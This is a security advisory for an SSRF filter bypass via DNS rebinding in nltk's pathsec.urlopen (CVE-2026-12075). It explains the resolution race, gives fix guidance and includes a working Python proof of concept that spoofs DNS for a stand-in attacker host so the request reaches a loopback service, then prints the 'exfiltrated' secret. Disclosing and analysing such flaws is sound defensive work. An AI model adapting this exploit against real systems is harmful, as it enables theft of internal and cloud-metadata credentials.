high · 8.6CVE-2026-12075Jul 31, 2026

CVE-2026-12075: nltk DNS-Rebinding SSRF Filter Bypass

Rohit Hatagale
AI Security Researcher, SecureLayer7

NLTK's built-in SSRF filter can be defeated by a DNS rebinding attack, letting an attacker read responses from internal services or cloud metadata endpoints even when the documented strict ENFORCE…

Packagenltk
Ecosystempip
Affected<= 3.9.4
Fixed in3.10.0
CVE-2026-12075: nltk DNS-Rebinding SSRF Filter Bypass

The problem

nltk.pathsec.urlopen() validates a URL by resolving its hostname and checking the resulting IP against blocked ranges (loopback, private, link-local, multicast). It then hands the raw hostname to urllib, which performs a second, independent DNS resolution at connect time.

Because the two resolutions are completely separate code paths, an attacker who controls a TTL-0 DNS record can return a public IP for the validation lookup and a loopback or private IP for the connect lookup. The lru_cache on _resolve_hostname only pins the validation-side result; the OS resolver used by http.client.HTTPConnection.connect is never consulted from that cache, so the annotation claiming rebinding protection is a false assurance.

Proof of concept

A working proof-of-concept for CVE-2026-12075 in nltk, with the exact payload below.

python
import socket
import threading
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer

import nltk.pathsec as ps

ps.ENFORCE = True  # documented strict SSRF sandbox

ATTACKER_HOST = "rebind.attacker.test"
PUBLIC_IP     = "93.184.216.34"   # returned on lookup #1 (validation)
SECRET        = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"

class _Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Length", str(len(SECRET)))
        self.end_headers()
        self.wfile.write(SECRET)
    def log_message(self, *a): pass

def start_internal_server():
    srv = HTTPServer(("127.0.0.1", 0), _Handler)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv.server_address[1]

_real_getaddrinfo = socket.getaddrinfo
_lookups = defaultdict(int)

def _rebinding_getaddrinfo(host, port, *args, **kwargs):
    if host == ATTACKER_HOST:
        n = _lookups[host]
        _lookups[host] += 1
        # First call  -> validation side  -> public IP (passes filter)
        # Second call -> connect side     -> loopback  (reaches internal service)
        ip = PUBLIC_IP if n == 0 else "127.0.0.1"
        p  = port if isinstance(port, int) else 0
        return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]
    return _real_getaddrinfo(host, port, *args, **kwargs)

port = start_internal_server()
socket.getaddrinfo = _rebinding_getaddrinfo
ps._resolve_hostname.cache_clear()

evil_url = f"http://{ATTACKER_HOST}:{port}/"
with ps.urlopen(evil_url, timeout=5) as r:
    body = r.read()

print("Exfiltrated:", body)  # b'TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS'
assert SECRET in body, "exploit failed"

This is a classic TOCTOU (time-of-check/time-of-use) race on DNS. validate_network_url() resolves the hostname (resolution #1) and blocks private/loopback IPs. urlopen() then calls build_opener().open(url) with the original hostname string, triggering resolution #2 inside http.client at connect time.

The two resolutions are independent; the OS resolver's cache is not constrained by the lru_cache NLTK uses for validation.

The fix in 3.10.0 must implement DNS pinning: resolve the hostname exactly once, validate the resulting IP, then replace the hostname in the request with that literal IP (or intercept the socket layer) so no second resolution can occur. The lru_cache approach was inadequate because urllib's socket layer never queries it.

The fix

Upgrade nltk to 3.10.0 or later (pip install --upgrade nltk). The 3.10.0 release hardened nltk.pathsec against SSRF and DNS rebinding. If upgrading is not immediately possible, avoid passing untrusted URLs to nltk.pathsec.urlopen, nltk.data.load, or nltk.download, and consider blocking outbound HTTP from your application process at the network level.

Reporter not attributed.

References: [1][2]

Related research